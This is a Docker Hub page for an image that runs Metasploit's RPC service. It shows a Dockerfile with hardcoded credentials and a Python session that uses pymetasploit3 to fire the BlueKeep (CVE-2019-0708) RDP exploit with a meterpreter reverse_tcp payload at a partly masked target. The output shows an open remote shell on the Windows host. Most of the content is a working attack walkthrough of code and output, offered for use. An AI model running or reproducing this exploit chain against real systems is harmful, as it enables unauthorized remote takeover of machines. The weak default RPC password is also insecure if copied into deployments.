Sign inSign up

jstang/msfrpcd

By jstang

Updated over 5 years ago

metasploit开放rpc接口调用服务

Image
0

118

jstang/msfrpcd repository overview

Dockerfile

FROM centos:7  
MAINTAINER jstang <[email protected]>  
ADD msfinstall /opt  
WORKDIR /opt  
RUN chmod +x msfinstall && \  
    ./msfinstall  
EXPOSE 55553  
CMD ["msfrpcd", "-U", "msf", "-P", "123456", "-S", "-f"]  

Running
[root@localhost]# docker run -itd --name msfrpcd -p 55553:55553 -p 4000-4444:4000-4444 jstang/msfrpcd:1.0

Usage
python3渗透攻击CVE-2019-0708

[root@platform ~]# python3
>>> from pymetasploit3.msfrpc import MsfRpcClient                                                 
>>> client = MsfRpcClient("123456", server="172.*.*.249", port=55553, username="msf", ssl=False)
>>> client.sessions.list
{}
>>> exploit = client.modules.use('exploit', 'windows/rdp/cve_2019_0708_bluekeep_rce')
>>> exploit['RHOSTS'] = '172.*.*.251'
>>> payload = client.modules.use('payload', 'windows/x64/meterpreter/reverse_tcp')
>>> payload['LHOST'] = '172.*.*.249'
>>> payload['LPORT'] = 4444
>>> exploit.target = 2
>>> exploit.execute(payload=payload)
{'job_id': 20, 'uuid': '14pszrmy'}
>>> client.sessions.list
{
    '18': {
        'type': 'meterpreter', 'tunnel_local': '172.*.*.249:4444', 'tunnel_peer': '172.*.*.251:49160',
        'via_exploit': 'exploit/windows/rdp/cve_2019_0708_bluekeep_rce', 'via_payload': 'payload/windows/x64/meterpreter/reverse_tcp',
        'desc': 'Meterpreter', 'info': '', 'workspace': 'false', 'session_host': '172.*.*.251', 'session_port': 3389,
        'target_host': '172.*.*.251', 'username': 'root', 'uuid': 'otq9loed', 'exploit_uuid': '14pszrmy', 'routes': '',
        'arch': 'x64', 'platform': 'windows'
    }
}
>>> shell = client.sessions.session('18')
>>> shell.run_with_output("pwd", end_strs=["\n"])
'C:\\Windows\\system32\n'

Tag summary

Content type

Image

Digest

Size

341.5 MB

Last updated

over 5 years ago

docker pull jstang/msfrpcd:1.0